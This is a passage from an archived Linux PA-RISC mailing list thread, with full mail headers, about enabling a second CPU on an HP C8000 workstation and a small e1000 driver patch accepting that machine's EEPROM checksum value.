machine).
2) it would most likely be illegal (and a liability) to either =20
disclose the means to circumvent HP's upgrading policy or to provide =20
the HP-internal tools to do so, if ever we had them (which we do not). =
=20
Even more so since our website is hosted @HP.

James rightfully pointed out that the best way to solve this issue =20
would be to kindly ring a bell within HP and try to work this out on a =
=20
one-on-one basis, hopefully avoiding calling names. HP has a history =20
of being relatively helpful with that sort of matters, I'd expect this =
=20
to turn for the best.

HTH

T-Bone--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 21:50:19 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <AANLkTi=MMuFsSdNNCLGnu6sZNetM0f3oCcxcFjUnk2uT@mail.gmail.com>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
 <1287853058.3003.18.camel@mulgrave.site> <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com>
 <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1287885045 32690 80.91.229.12 (24 Oct 2010 01:50:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 01:50:45 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 03:50:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9pjO-0004zJ-5T
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 03:50:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753392Ab0JXBul convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 21:50:41 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:63750 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752811Ab0JXBuk convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 21:50:40 -0400
Original-Received: by bwz11 with SMTP id 11so1512955bwz.19
        for <linux-parisc@vger.kernel.org>; Sat, 23 Oct 2010 18:50:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=dvjKnYFQfoUj2+3/e1ddXcjoMz+QEe7TZmAE0773hJI=;
        b=PF95/bYYZz6QRFopQPOnchi5uZeYi00acnkVygGB/8k4dVsl20r/+X3oWSHxt+3dRO
         dHj5dSZPEgL6z/or92CzOPtaBWEOMHSSv3CToD1YcgOYdCSUmCFfpQKkumvf2GJqIDGp
         2mKV/6JNrXEwvHu62cTCT/wTUnST/LCZx+m7c=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=PeG521vgj3LOyw8nhRJuejvgn4r8uE8qpjMyea4seREjTe6C4vG+q80m/47FMTgjTS
         UsNjgv75qfEwfIGsMMRnKlTXANdlQYwwtdAW2u0FRl7wB1+IZD3JxNNTCTXnJr8Pcinc
         5QMGiHGGldm2R1kBA02MxqFcOD39pWCeBAF/Q=
Original-Received: by 10.204.70.67 with SMTP id c3mr3697291bkj.62.1287885039581; Sat,
 23 Oct 2010 18:50:39 -0700 (PDT)
Original-Received: by 10.204.47.147 with HTTP; Sat, 23 Oct 2010 18:50:19 -0700 (PDT)
In-Reply-To: <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3159>

On Sat, Oct 23, 2010 at 9:18 PM, Thibaut VAR=C8NE <T-Bone@parisc-linux.=
org> wrote:
> I suppose we can't put the procedure about how to to do that on the w=
ebsite
> for two reasons:
>
> 1) if my assumptions are right, enabling the extra CPU requires enter=
ing
> Manufacturing Mode (MFG in PDC parlance) in order to change the Model=
 String
> (suppositions based on previous experience with a different machine),=
 which
> itself needs a hardware-specific password, generated with an HP tool =
using
> the crypto challenge prompted by the firmware when trying to activate=
 this
> mode (been there on another machine).
> 2) it would most likely be illegal (and a liability) to either disclo=
se the
> means to circumvent HP's upgrading policy or to provide the HP-intern=
al
> tools to do so, if ever we had them (which we do not). Even more so s=
ince
> our website is hosted @HP.

I wasn't suggesting putting instructions to circumvent whatever
protections HP has in place on the site. I only meant a note saying
"don't expect to be able to add another CPU or even upgrade the RAM or
CPU."

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Date: Sun, 24 Oct 2010 04:28:59 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010240417160.30241@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287887344 6654 80.91.229.12 (24 Oct 2010 02:29:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 02:29:04 +0000 (UTC)
Cc: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
To: e1000-devel@lists.sourceforge.net, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 04:29:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9qKT-0001Zn-UK
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 04:29:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754325Ab0JXC3B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 22:29:01 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:46675 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753443Ab0JXC3B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 22:29:01 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 3851498064; Sun, 24 Oct 2010 04:29:00 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id DD43698062;
	Sun, 24 Oct 2010 04:28:59 +0200 (CEST)
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3160 gmane.linux.drivers.e1000.devel:7583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3160>

Hi

This is my first patch for my PA RISC C8000 machine: allow to use the 
onboard NIC.

Mikulas

---

Allow the driver to be used on PA RISC C8000 workstation

Search on the internet shows that the checksum field in the EEPROM on HPPA is
really not a checksum but a signature (different users including me found
the same mismatching checksum 0x16d6, despite their MAC addresses and
EEPROM content being different).

So I allow 0x16d6 (the last word read) as the matching checksum on hppa.

Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

Index: linux-2.6.36-rc8/drivers/net/e1000/e1000_hw.c
===================================================================
--- linux-2.6.36-rc8.orig/drivers/net/e1000/e1000_hw.c	2010-10-24 04:01:03.000000000 +0200
+++ linux-2.6.36-rc8/drivers/net/e1000/e1000_hw.c	2010-10-24 04:25:22.000000000 +0200
@@ -3840,6 +3840,12 @@ s32 e1000_validate_eeprom_checksum(struc
 		checksum += eeprom_data;
 	}
 
+#ifdef __hppa__
+	/* This seems to be a signature and not a checksum on HP c8000 */
+	if (eeprom_data == 0x16d6)
+		return E1000_SUCCESS;
+#endif
+
 	if (checksum == (u16) EEPROM_SUM)
 		return E1000_SUCCESS;
 	else {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sun, 24 Oct 2010 05:03:25 +0200 (CEST)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287889414 12376 80.91.229.12 (24 Oct 2010 03:03:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 03:03:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 05:03:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9qro-00082h-QF
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 05:03:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756114Ab0JXDD0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 23:03:26 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:38737 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755345Ab0JXDD0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 23:03:26 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 4D5479808F; Sun, 24 Oct 2010 05:03:25 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 27C7398064;
	Sun, 24 Oct 2010 05:03:25 +0200 (CEST)
In-Reply-To: <20101024020337.725094D30@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3161>



On Sat, 23 Oct 2010, John David Anglin wrote:

> > I'm still thinking the processor module shown above is the base
> > model with 3 MB L1 and no L2, and it's not consistent with upgrade
> > module.
> 
> I just noticed the following wording in the online specifications:
> 
> 1 or 2 dual-core PA-8800 or PA-8900 processors
>   (2-way 900 MHz PA-8800 with 3 MB L1 cache,
>    2 or 4-way 900 MHz or 1 GHz PA-8800 3 MB L1 and 32 MB L2 cache or
>    2 or 4-way 1.1 GHz PA-8900 with 3 MB L1 cache and 64 MB L2 cache)
> 
> Note the base model with no L2 appears to be only 2-way.  If it
> can be upgraded, I think you would need a AB665A kit.  Kits with
> L2 cache seem more common.  To do this right, you need to start
> with the specific workstation model number.
> 
> See HP PartSurfer.
> 
> I also found a QuickSpecs document with PA-8900 processors.  It looks
> like the 2-way base is not upgradeable as the second processor options
> only have 64 MB L2.  The document lists a 2nd processor as an after-market
> option (AB675A or AB676A).  There is a note that the second processor
> must be the same as the first.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

I tried to measure the cache size, sequential memory read showed cutoff at 
700kB and no cutoff at 32MB. It shows 1.7GB/s below 700kB and 612MB/s 
above. Latency measurements (chasing pointer chain) showed drastic cutoff 
at 700kB (from 3ns to 300ns) and no cutoff at 32MB.

It may be that the lack of L2 cache is the reason why the CPUs don't 
support multiprocessing ... I may buy two better CPUs, if I had actually 
guarantee that the machine isn't locked (I don't want to waste more money 
just to find out that the firmware lock doesn't go away).

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sun, 24 Oct 2010 05:18:17 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010240504560.30241@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site> <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com> <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287890305 14870 80.91.229.12 (24 Oct 2010 03:18:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 03:18:25 +0000 (UTC)
Cc: Matt Turner <mattst88@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: =?ISO-8859-15?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 05:18:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9r6D-0001aV-5g
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 05:18:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756114Ab0JXDST (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 23:18:19 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:54538 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755516Ab0JXDST (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 23:18:19 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id B3B3E980A9; Sun, 24 Oct 2010 05:18:17 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 3DAA29808F;
	Sun, 24 Oct 2010 05:18:17 +0200 (CEST)
In-Reply-To: <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3162
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3162>



On Sun, 24 Oct 2010, Thibaut VAR?NE wrote:

> Disclaimer: IANAL and I don't know C8000.
> 
> I suppose we can't put the procedure about how to to do that on the website
> for two reasons:
> 
> 1) if my assumptions are right, enabling the extra CPU requires entering
> Manufacturing Mode (MFG in PDC parlance) in order to change the Model String
> (suppositions based on previous experience with a different machine), which
> itself needs a hardware-specific password, generated with an HP tool using the
> crypto challenge prompted by the firmware when trying to activate this mode
> (been there on another machine).
> 2) it would most likely be illegal (and a liability) to either disclose the
> means to circumvent HP's upgrading policy or to provide the HP-internal tools
> to do so, if ever we had them (which we do not). Even more so since our
> website is hosted @HP.
> 
> James rightfully pointed out that the best way to solve this issue would be to
> kindly ring a bell within HP and try to work this out on a one-on-one basis,
> hopefully avoiding calling names. HP has a history of being relatively helpful
> with that sort of matters, I'd expect this to turn for the best.

I think that asking employees to do illegal things (or things against 
corporate rules) isn't a viable way to go.

Once (a long time ago, on a totally different project) I got an offer for 
some internal code from an employee, who thought that it could improve my 
open source work. I refused it because I don't want to get into unneeded 
trouble. If I accepted it, I'd have to be careful to not ever disclose 
implicitly or explicitly that I saw the code.

Mikulas

> HTH
> 
> T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 23:43:15 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20101024034314.GQ8332@bombadil.infradead.org>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca>
 <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287891801 18621 80.91.229.12 (24 Oct 2010 03:43:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 03:43:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 05:43:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9rUN-0004pT-7q
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 05:43:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756567Ab0JXDnS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 23:43:18 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47006 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754077Ab0JXDnS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 23:43:18 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P9rUJ-0007BC-2S; Sun, 24 Oct 2010 03:43:15 +0000
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3163>

On Sun, Oct 24, 2010 at 05:03:25AM +0200, Mikulas Patocka wrote:
> I tried to measure the cache size, sequential memory read showed cutoff at 
> 700kB and no cutoff at 32MB. It shows 1.7GB/s below 700kB and 612MB/s 
> above. Latency measurements (chasing pointer chain) showed drastic cutoff 
> at 700kB (from 3ns to 300ns) and no cutoff at 32MB.
> 
> It may be that the lack of L2 cache is the reason why the CPUs don't 
> support multiprocessing ... I may buy two better CPUs, if I had actually 
> guarantee that the machine isn't locked (I don't want to waste more money 
> just to find out that the firmware lock doesn't go away).
> 

FWIW, I'd recommend running in non-SMP mode on pa8800/8900 anyway, as
our cache flushing is a bit... suboptimal right now (doing whole cache
flushes on fork and such.) Which, coupled with the gigantic caches on
those cpus which must be flushed just tanks performance.

I've been working on cleaning up jejb's patchset from back in the
bitkeeper days to properly do deferred flushing, but time is constantly
against me (sigh, I don't think I've even powered on my C8000 in a few
years now... explains why I didn't catch your e1000 issue there. :)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sun, 24 Oct 2010 00:01:19 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20101024040120.5DB054D30@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287892888 21388 80.91.229.12 (24 Oct 2010 04:01:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 04:01:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mikulas@artax.karlin.mff.cuni.cz (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 06:01:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9rlt-0007W1-Fr
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 06:01:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751010Ab0JXEBV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Oct 2010 00:01:21 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1233 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750850Ab0JXEBV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Oct 2010 00:01:21 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5DB054D30; Sun, 24 Oct 2010 00:01:19 -0400 (EDT)
In-Reply-To: <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz> from "Mikulas Patocka" at Oct 24, 2010 05:03:25 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3164>

> It may be that the lack of L2 cache is the reason why the CPUs don't 
> support multiprocessing ... I may buy two better CPUs, if I had actually 
> guarantee that the machine isn't locked (I don't want to waste more money 
> just to find out that the firmware lock doesn't go away).

Are you sure the part numbers for the two processor modules that you
have are the same?  Parts with cache seem much more common.  There
also seem to be quite a few obsolete parts.

It might be Linux would work better without the L2 cache.  There are
are some cache coherency issues that haven't been resolved in SMP.
These problems are aggrevated by the L2 cache which takes a long
time to flush.

It's just not clear that your machine is locked.  The c8000 model
name doesn't change depending on number of processors.  If you search
on rp3410 processor upgrade, you will find that a processor update
license is needed to go from one to two processor.  This is clear
in the documentation.  I couldn't find anything similar for c8000.
Indeed, there are many indications that an after-market processor
update is possible for it.

Good luck,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sun, 24 Oct 2010 13:36:48 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <68B3C27A-CB60-4F84-A8E2-DB37D7110438@parisc-linux.org>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com> <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site> <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com> <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org> <alpine.DEB.1.10.1010240504560.30241@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1287920221 6244 80.91.229.12 (24 Oct 2010 11:37:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 11:37:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
